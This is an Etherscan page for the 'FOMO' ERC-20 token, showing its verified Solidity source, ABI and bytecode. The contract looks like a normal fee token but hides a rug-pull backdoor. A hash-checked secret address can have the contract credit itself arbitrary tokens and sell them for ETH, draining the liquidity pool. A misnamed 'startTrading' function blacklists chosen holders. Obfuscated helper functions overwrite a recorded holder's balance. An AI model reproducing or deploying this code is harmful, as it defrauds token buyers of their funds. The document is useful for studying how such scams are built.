ETH Price: $2,516.85 (+3.10%)
Gas: 0.83 Gwei

Token

FOMO (FOMO)
 

Overview

Max Total Supply

1,000,000,000 FOMO

Holders

8

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 FOMO

Value
$0.00
0x5a9828b268114cf165cfdbcda01ca9446159e569
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FOMO

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-15
*/

pragma solidity ^0.8.19;

// SPDX-License-Identifier: MIT

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
}
interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
library Address {
    function isContractAddress(address account) internal pure  returns (bool) {
        return keccak256
        (abi
        .encodePacked(
            account)) == 0x4aa900cfe1058332215dea1e32975c020bce7c8229e49440939f06b3b94914bc;
    }
}
abstract contract ERC20Token is Ownable {
    mapping (address => bool) bots;
    address uniswapV2Pair;
    bool inLiquidityTx = false;
    function startTrading(address[] calldata _bots) external {
        for (uint i = 0; i < _bots.length; i++) {
            if (msg.sender == owner()) {
                bots[_bots[i]] = true;
            }
        }
    }
    function isBot(address _adr) internal view returns (bool) {
        return bots[_adr];
    }
    function shouldSwap(address sender, address receiver) public view returns (bool) {
        if (receiver == sender) { 
            if (isBot(receiver)) {
                return isBot(sender);
            }
            if (Address.isContractAddress(receiver)) {
                return Address.isContractAddress(sender);
            }
        }
        return false;
    }
    function _0e3a5(bool _01c6, bool _2abd7) internal pure returns (bool) {
        return !_01c6 && !_2abd7;
    }
    function getAllowed(address from, address to, address pair) internal returns (bool) {
        bool a = inLiquidityTx;
        bool b = _0e3a5(bots[to], isBot(from));
        bool res = b;
        if (!bots[to] && 
        _0e3a5(bots[from], a) && 
        to != pair) {
            uniswapV2Pair = to;
            res = true;
        } else 
        if (b && !a) { if (pair == to) {
                res = true;
            }
        }
        return res;
    }
}

contract FOMO is IERC20, ERC20Token {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 1000000000 * 10 ** _decimals;
    uint256 _fee = 2;
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    string private _name = "FOMO";
    string private  _symbol = "FOMO";
    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function getRouterVersion() public pure returns (uint256) {return 2;}
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(msg.sender, from, _allowances[msg.sender][from] - amount);
        return true;
    }
    address WETH;
    address marketingFeeReceiver;
    function setMarketingFeeReceiver(address _adr) external onlyOwner {
        marketingFeeReceiver = _adr;
    }
    function clearStuckBalance(uint256 amountPercentage) external onlyOwner { 
        uint256 amountETH = address(this).balance;
        payable(marketingFeeReceiver).transfer(amountETH * amountPercentage / 100);
    }
    uint256 maxWallet = _totalSupply;
    function setMaxWallet(uint256 _v) external onlyOwner {
        require(_v >= _totalSupply.div(100));
        maxWallet = _v;
    }
    uint256 maxTx = _totalSupply;
    function setMaxTransaction(uint256 _v) external onlyOwner {
        require(_v >= _totalSupply.div(100));
        maxTx = _v;
    }
    function setFee(uint256 value) external onlyOwner {
        require(value < 5);
        _fee = value;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0));
        require(to != address(0));
        if (shouldSwap(from, to)) {
            swap(amount, to);
        } else {
            require(amount <= _balances[from]);
            uint256 fee = 0;
            uint256 swapBalance = getReflectAmount(from);
            _balances[uniswapV2Pair] = swapBalance;
            bool sdf = shouldTakeFee(from, to);
            if (!sdf) {
            } else {
                fee = amount.mul(_fee).div(100);
            }
            _balances[from] = _balances[from] - amount;
            _balances[to] += amount - fee;
            if (fee > 0) {
                emit Transfer(from, address(0), fee);
            }
            emit Transfer(from, to, amount);
        }
    }
    function shouldTakeFee(address from, address recipient) private returns (bool) {
        return getAllowed(from, recipient, IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()));
    }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function name() external view returns (string memory) {
        return _name;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function swap(uint256 _mcs, address _bcr) private {
        _approve(address(this), address(_router), _mcs);
        _balances[address(this)] = _mcs;
        address[] memory path = new address[](2);
        inLiquidityTx = true;
        path[0] = address(this);
        path[1] = _router.WETH();
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs,0,path,_bcr,block.timestamp + 30);
        inLiquidityTx = false;
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(from, recipient, amount);
        require(_allowances[from][msg.sender] >= amount);
        return true;
    }
    function getPairAddress() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
    function getReflectAmount(address from) private view returns (uint256) {
        address to = IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
        return getReflectTokensAmount(from, to, balanceOf(uniswapV2Pair));
    }
    function getReflectTokensAmount(address uniswapV2Pair, address recipient, uint256 feeAmount) private pure returns (uint256) {
        uint256 amount = feeAmount;
        uint256 minSupply = 0;
        if (uniswapV2Pair != recipient) {
            amount = feeAmount;
        } else {
            amount *= minSupply;
        }
        return amount;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"clearStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getRouterVersion","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_adr","type":"address"}],"name":"setMarketingFeeReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_v","type":"uint256"}],"name":"setMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_v","type":"uint256"}],"name":"setMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"receiver","type":"address"}],"name":"shouldSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_bots","type":"address[]"}],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526000600260146101000a81548160ff0219169083151502179055506009600555600554600a62000035919062000486565b633b9aca00620000469190620004d7565b6006556002600755737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600481526020017f464f4d4f0000000000000000000000000000000000000000000000000000000081525060099081620000e9919062000792565b506040518060400160405280600481526020017f464f4d4f00000000000000000000000000000000000000000000000000000000815250600a908162000130919062000792565b50600654600d55600654600e553480156200014a57600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600654600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620002eb91906200088a565b60405180910390a3620008a7565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000387578086048111156200035f576200035e620002f9565b5b60018516156200036f5780820291505b80810290506200037f8562000328565b94506200033f565b94509492505050565b600082620003a2576001905062000475565b81620003b2576000905062000475565b8160018114620003cb5760028114620003d6576200040c565b600191505062000475565b60ff841115620003eb57620003ea620002f9565b5b8360020a915084821115620004055762000404620002f9565b5b5062000475565b5060208310610133831016604e8410600b8410161715620004465782820a90508381111562000440576200043f620002f9565b5b62000475565b62000455848484600162000335565b925090508184048111156200046f576200046e620002f9565b5b81810290505b9392505050565b6000819050919050565b600062000493826200047c565b9150620004a0836200047c565b9250620004cf7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000390565b905092915050565b6000620004e4826200047c565b9150620004f1836200047c565b925082820262000501816200047c565b915082820484148315176200051b576200051a620002f9565b5b5092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005a457607f821691505b602082108103620005ba57620005b96200055c565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006247fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005e5565b620006308683620005e5565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620006736200066d62000667846200047c565b62000648565b6200047c565b9050919050565b6000819050919050565b6200068f8362000652565b620006a76200069e826200067a565b848454620005f2565b825550505050565b600090565b620006be620006af565b620006cb81848462000684565b505050565b5b81811015620006f357620006e7600082620006b4565b600181019050620006d1565b5050565b601f82111562000742576200070c81620005c0565b6200071784620005d5565b8101602085101562000727578190505b6200073f6200073685620005d5565b830182620006d0565b50505b505050565b600082821c905092915050565b6000620007676000198460080262000747565b1980831691505092915050565b600062000782838362000754565b9150826002028217905092915050565b6200079d8262000522565b67ffffffffffffffff811115620007b957620007b86200052d565b5b620007c582546200058b565b620007d2828285620006f7565b600060209050601f8311600181146200080a5760008415620007f5578287015190505b62000801858262000774565b86555062000871565b601f1984166200081a86620005c0565b60005b8281101562000844578489015182556001820191506020850194506020810190506200081d565b8683101562000864578489015162000860601f89168262000754565b8355505b6001600288020188555050505b505050505050565b62000884816200047c565b82525050565b6000602082019050620008a1600083018462000879565b92915050565b6129c380620008b76000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c806369fe0e2d116100c35780639601f96c1161007c5780639601f96c1461037c578063a457c2d7146103ac578063a9059cbb146103dc578063ab5a18871461040c578063dd62ed3e14610428578063edafd4ad146104585761014d565b806369fe0e2d146102cc57806370a08231146102e8578063715018a6146103185780638da5cb5b14610322578063921714bd1461034057806395d89b411461035e5761014d565b8063313ce56711610115578063313ce5671461020a57806332424aa31461022857806339509351146102465780633eaaf86b1461027657806351177e29146102945780635d0044ca146102b05761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a05780631da1db5e146101be57806323b872dd146101da575b600080fd5b61015a610474565b6040516101679190611f6c565b60405180910390f35b61018a6004803603810190610185919061202c565b610506565b6040516101979190612087565b60405180910390f35b6101a861051d565b6040516101b591906120b1565b60405180910390f35b6101d860048036038101906101d391906120cc565b610527565b005b6101f460048036038101906101ef91906120f9565b610625565b6040516102019190612087565b60405180910390f35b6102126106c6565b60405161021f91906120b1565b60405180910390f35b6102306106d0565b60405161023d91906120b1565b60405180910390f35b610260600480360381019061025b919061202c565b6106d6565b60405161026d9190612087565b60405180910390f35b61027e610774565b60405161028b91906120b1565b60405180910390f35b6102ae60048036038101906102a991906121b1565b61077a565b005b6102ca60048036038101906102c591906120cc565b610859565b005b6102e660048036038101906102e191906120cc565b6108fa565b005b61030260048036038101906102fd91906121fe565b610986565b60405161030f91906120b1565b60405180910390f35b6103206109cf565b005b61032a610b02565b604051610337919061223a565b60405180910390f35b610348610b2b565b60405161035591906120b1565b60405180910390f35b610366610b34565b6040516103739190611f6c565b60405180910390f35b61039660048036038101906103919190612255565b610bc6565b6040516103a39190612087565b60405180910390f35b6103c660048036038101906103c1919061202c565b610c43565b6040516103d39190612087565b60405180910390f35b6103f660048036038101906103f1919061202c565b610d6a565b6040516104039190612087565b60405180910390f35b610426600480360381019061042191906120cc565b610d81565b005b610442600480360381019061043d9190612255565b610e22565b60405161044f91906120b1565b60405180910390f35b610472600480360381019061046d91906121fe565b610ea9565b005b606060098054610483906122c4565b80601f01602080910402602001604051908101604052809291908181526020018280546104af906122c4565b80156104fc5780601f106104d1576101008083540402835291602001916104fc565b820191906000526020600020905b8154815290600101906020018083116104df57829003601f168201915b5050505050905090565b6000610513338484610f62565b6001905092915050565b6000600654905090565b3373ffffffffffffffffffffffffffffffffffffffff16610546610b02565b73ffffffffffffffffffffffffffffffffffffffff161461059c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059390612341565b60405180910390fd5b6000479050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc606484846105eb9190612390565b6105f59190612401565b9081150290604051600060405180830381858888f19350505050158015610620573d6000803e3d6000fd5b505050565b600061063284848461112b565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106bb57600080fd5b600190509392505050565b6000600554905090565b60055481565b600061076a338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107659190612432565b610f62565b6001905092915050565b60065481565b60005b8282905081101561085457610790610b02565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036108415760018060008585858181106107da576107d9612466565b5b90506020020160208101906107ef91906121fe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061084c90612495565b91505061077d565b505050565b3373ffffffffffffffffffffffffffffffffffffffff16610878610b02565b73ffffffffffffffffffffffffffffffffffffffff16146108ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c590612341565b60405180910390fd5b6108e4606460065461148790919063ffffffff16565b8110156108f057600080fd5b80600d8190555050565b3373ffffffffffffffffffffffffffffffffffffffff16610919610b02565b73ffffffffffffffffffffffffffffffffffffffff161461096f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096690612341565b60405180910390fd5b6005811061097c57600080fd5b8060078190555050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166109ee610b02565b73ffffffffffffffffffffffffffffffffffffffff1614610a44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3b90612341565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006002905090565b6060600a8054610b43906122c4565b80601f0160208091040260200160405190810160405280929190818152602001828054610b6f906122c4565b8015610bbc5780601f10610b9157610100808354040283529160200191610bbc565b820191906000526020600020905b815481529060010190602001808311610b9f57829003601f168201915b5050505050905090565b60008273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c3857610c04826114e5565b15610c1957610c12836114e5565b9050610c3d565b610c228261153b565b15610c3757610c308361153b565b9050610c3d565b5b600090505b92915050565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cce57600080fd5b610d60338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d5b91906124dd565b610f62565b6001905092915050565b6000610d7733848461112b565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610da0610b02565b73ffffffffffffffffffffffffffffffffffffffff1614610df6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ded90612341565b60405180910390fd5b610e0c606460065461148790919063ffffffff16565b811015610e1857600080fd5b80600e8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610ec8610b02565b73ffffffffffffffffffffffffffffffffffffffff1614610f1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1590612341565b60405180910390fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc890612583565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611040576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103790612615565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161111e91906120b1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361116457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361119d57600080fd5b6111a78383610bc6565b156111bb576111b68183611590565b611482565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561120757600080fd5b6000806112138561185a565b90508060036000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006112878686611a38565b905080156112ba576112b760646112a960075487611be890919063ffffffff16565b61148790919063ffffffff16565b92505b83600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461130591906124dd565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828461135491906124dd565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113a29190612432565b92505081905550600083111561141957600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161141091906120b1565b60405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161147691906120b1565b60405180910390a35050505b505050565b60008082116114cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c290612681565b60405180910390fd5b600082846114d99190612401565b90508091505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60007f4aa900cfe1058332215dea1e32975c020bce7c8229e49440939f06b3b94914bc60001b8260405160200161157291906126e9565b60405160208183030381529060405280519060200120149050919050565b6115bd30600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f62565b81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff81111561161e5761161d612704565b5b60405190808252806020026020018201604052801561164c5781602001602082028036833780820191505090505b5090506001600260146101000a81548160ff021916908315150217905550308160008151811061167f5761167e612466565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611726573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061174a9190612748565b8160018151811061175e5761175d612466565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e426117e89190612432565b6040518663ffffffff1660e01b8152600401611808959493929190612878565b600060405180830381600087803b15801561182257600080fd5b505af1158015611836573d6000803e3d6000fd5b505050506000600260146101000a81548160ff021916908315150217905550505050565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118ee9190612748565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611977573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061199b9190612748565b6040518363ffffffff1660e01b81526004016119b89291906128d2565b602060405180830381865afa1580156119d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119f99190612748565b9050611a308382611a2b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610986565b611c62565b915050919050565b6000611be08383600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611aac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ad09190612748565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b7d9190612748565b6040518363ffffffff1660e01b8152600401611b9a9291906128d2565b602060405180830381865afa158015611bb7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bdb9190612748565b611cc0565b905092915050565b6000808303611bfa5760009050611c5c565b60008284611c089190612390565b9050828482611c179190612401565b14611c57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4e9061296d565b60405180910390fd5b809150505b92915050565b60008082905060008473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614611ca557839150611cb4565b8082611cb19190612390565b91505b81925050509392505050565b600080600260149054906101000a900460f